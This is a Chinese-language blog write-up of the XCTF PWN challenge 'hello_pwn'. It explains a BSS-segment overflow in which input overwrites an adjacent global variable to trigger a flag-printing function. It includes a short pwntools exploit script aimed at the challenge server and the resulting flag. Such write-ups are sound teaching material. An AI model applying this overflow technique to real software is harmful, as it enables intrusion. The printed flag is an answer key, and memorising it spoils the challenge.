XCTF-PWN-hello_pwn-bss段溢出

CTF · 03-21 · 120 人浏览

1.查看文件保护

Pasted image 20231215211749.png
开启NX

运行程序
Pasted image 20231215211832.png

2.IDA静态分析

(1)main

Pasted image 20231215212022.png
程序逻辑分析:
1)main 函数先调用 setbuf 函数清空缓冲区,然后 puts 函数打印两行提示字符;
2)接着 read 函数让我们输入数据存入到 地址为0x601068的空间;
3)然后 if 语句判断 60106C 的地址如果存放的数据是 1853186401 的话则调用并执行 sub_400686() 函数;

(2)sub_400686()

Pasted image 20231215212502.png
执行系统命令,输出flag.txt

3.解题

解题关键在与如何让地址0x60106C的值等于1853186401
Pasted image 20231215213048.png
unk_601068dword_60106C和都在.bss段,位移相差4个字节,而unk_601068是由用户输入的,所以我们可以通过此变量,覆盖掉dword_60106C的值,使其值变为目标数值(1853186401)。

BSS 溢出】缓冲区溢出除了典型的栈溢出和堆溢出外,还有一种发生在 bss 段上的溢出, bss 属于数据段的一种,通常用来保存未初始化的全局静态变量。

脚本如下:

from pwn import *
r = remote("61.147.171.105", 57311) #连接远程IP和端口
payload = "A" * 4+p64(1853186401).decode("iso-8859-1")#构建payload 601068向下输出4个字节的内容,此时地址正好到0x60106C

r.sendline(payload)#向远程发送我们的payload
r.interactive()#与远程进行交互,就是查看我们的flag

运行脚本:
Pasted image 20231216001717.png
得到flag,flag为:
cyberpeace{bebb0bec2f992fa48c996261941f7cc6}

CTF PWN 栈溢出 XCTF bss段
Theme Jasmine by Kent Liao